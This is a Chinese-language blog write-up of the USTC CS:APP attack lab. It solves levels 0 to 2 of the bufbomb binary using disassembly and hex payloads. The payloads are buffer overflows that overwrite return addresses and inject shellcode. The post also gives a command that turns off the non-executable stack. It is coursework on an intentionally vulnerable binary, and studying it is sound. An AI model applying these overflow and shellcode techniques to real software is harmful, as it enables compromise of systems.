Loading

ustc-csapp-attacklab

这部分仍然属于第三章的内容,承接上一个实验。
ustc版本相对原版本有些变化,但是主题没有变,都是作为黑客去攻击一个软件。
这周要做的事情太多(实习真tmd难找😭)

bufbomb是我们需要执行和攻击的代码
makecookie是将输入的字符串编程8位16进制数,在level 1中会使用到
sendstring 是转换我们需要的编码
比如我们需要16进制00000000,当我们输入“00000000”时,会以ascii码表示,其实际底层并不是00000000
sendstring可以完成将ascii编码的字符编程其对应的16进制编码

level 0

我们需要让getbuf在返回的时候跳转到smoke,跳转的方式就是利用溢出

我们控制数组的输入,将其覆盖掉返回地址即可,看汇编编码,smoke地址为08048e20

08048fe0 <getbuf>::
 8048fe0:	55                   	push   %ebp
 8048fe1:	89 e5                	mov    %esp,%ebp
 8048fe3:	83 ec 18             	sub    $0x18,%esp
 8048fe6:	8d 45 f4             	lea    -0xc(%ebp),%eax
 8048fe9:	89 04 24             	mov    %eax,(%esp)
 8048fec:	e8 6f fe ff ff       	call   8048e60 <Gets>
 8048ff1:	b8 01 00 00 00       	mov    $0x1,%eax
 8048ff6:	c9                   	leave  
 8048ff7:	c3                   	ret    
 8048ff8:	90                   	nop
 8048ff9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

从这里我们能看到,getbuf申请了24个字节的空间,从ebp-12处开始填充数组,这样我们只需要填充12个字节再追加smoke地址即可
,注意小端存储

00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08

但结果是错的

看一下内存,地址写到了ebp的位置上

应该在ebp的上一个位置上
所以应该为

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08

level 1

有了上面基础,这次我们要跳转到fizz就容易多了,直接替换地址就可以了
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08
这里只能算是完成一半,我们要获得如下输出

还需要实现val==cookie,cookie就是从参数-t 学号 中得到的。所以我们还需要出入参数val。
按照课本上讲参数少于7的时候用寄存器传,一个的话使用esi,但是此处的编译版本中所有的参数都是通过栈来传递
我们指甲看一下执行到fizz时的内存内容

08048dc0 <fizz>:
 8048dc0:	55                   	push   %ebp
 8048dc1:	89 e5                	mov    %esp,%ebp
 8048dc3:	53                   	push   %ebx
 8048dc4:	83 ec 14             	sub    $0x14,%esp
 8048dc7:	8b 5d 08             	mov    0x8(%ebp),%ebx
 8048dca:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048dd1:	e8 ca fb ff ff       	call   80489a0 <entry_check>
 8048dd6:	3b 1d cc a1 04 08    	cmp    0x804a1cc,%ebx
 8048ddc:	74 22                	je     8048e00 <fizz+0x40>
 8048dde:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048de2:	c7 04 24 98 98 04 08 	movl   $0x8049898,(%esp)
 8048de9:	e8 76 f9 ff ff       	call   8048764 <printf@plt>
 8048dee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048df5:	e8 aa f9 ff ff       	call   80487a4 <exit@plt>
 8048dfa:	8d b6 00 00 00 00    	lea    0x0(%esi),%esi
 8048e00:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048e04:	c7 04 24 29 9a 04 08 	movl   $0x8049a29,(%esp)
 8048e0b:	e8 54 f9 ff ff       	call   8048764 <printf@plt>
 8048e10:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e17:	e8 c4 fc ff ff       	call   8048ae0 <validate>
 8048e1c:	eb d0                	jmp    8048dee <fizz+0x2e>
 8048e1e:	89 f6                	mov    %esi,%esi

我们cookie放在了0x804a1cc,val在$ebx中

我们从getbuf跳转此处,那么fizz会认为参数应该由其提供,我们在重新看一下getbuf的空间

我们能看到这个参数位置在更高的地址上,我们只需要修改一个就可以,改成和自己的cookie一样就可以

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 e6 92 e3 3b

level2

这个时机给出的代码和ppt的c语言形式不同,应该是代码活着ppt有一方忘了修改

在bang函数中

08048d60 <bang>:
 8048d60:       55                      push   %ebp
 8048d61:       89 e5                   mov    %esp,%ebp
 8048d63:       83 ec 08                sub    $0x8,%esp
 8048d66:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048d6d:       e8 2e fc ff ff          call   80489a0 <entry_check>
 8048d72:       a1 dc a1 04 08          mov    0x804a1dc,%eax
 8048d77:       3b 05 cc a1 04 08       cmp    0x804a1cc,%eax
 8048d7d:       74 21                   je     8048da0 <bang+0x40>
 8048d7f:       89 44 24 04             mov    %eax,0x4(%esp)
 8048d83:       c7 04 24 0b 9a 04 08    movl   $0x8049a0b,(%esp)
 8048d8a:       e8 d5 f9 ff ff          call   8048764 <printf@plt>
 8048d8f:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 8048d96:       e8 09 fa ff ff          call   80487a4 <exit@plt>
 8048d9b:       90                      nop
 8048d9c:       8d 74 26 00             lea    0x0(%esi,%eiz,1),%esi
 8048da0:       89 44 24 04             mov    %eax,0x4(%esp)
 8048da4:       c7 04 24 70 98 04 08    movl   $0x8049870,(%esp)
 8048dab:       e8 b4 f9 ff ff          call   8048764 <printf@plt>
 8048db0:       c7 04 24 02 00 00 00    movl   $0x2,(%esp)
 8048db7:       e8 24 fd ff ff          call   8048ae0 <validate>

在这个函数中,用eax和0x8048a1cc比较,相等时跳转,eax的内容则来自内存地址0x804a1dc。
我们则需要往0x804a1dc地址中写入0x8048a1cc

mov 0x804a1cc,%eax
mov %eax,0x804a1dc
push $0x08048d60
ret

我们将这段代码注入原来的buffer中,让getbuf的返回值跳转到buffer的首地址就能执行此段代码,此处的buffer首地址为0xffffb2ec,这个不是绝对的,注意检查自己机器上的值

但是注意,此处有保护机制会报段错误,是要使用工具

sudo apt-get install execstack
execstack -s bufbomb

然后使用gdb调试就可以了
答案

a1 cc a1 04 08 a3 dc a1 04 08 68 60 8d 04 08 c3 ec b2 ff ff
posted @ 2023-05-11 16:20  北方Cc  阅读(91)  评论(0)    收藏  举报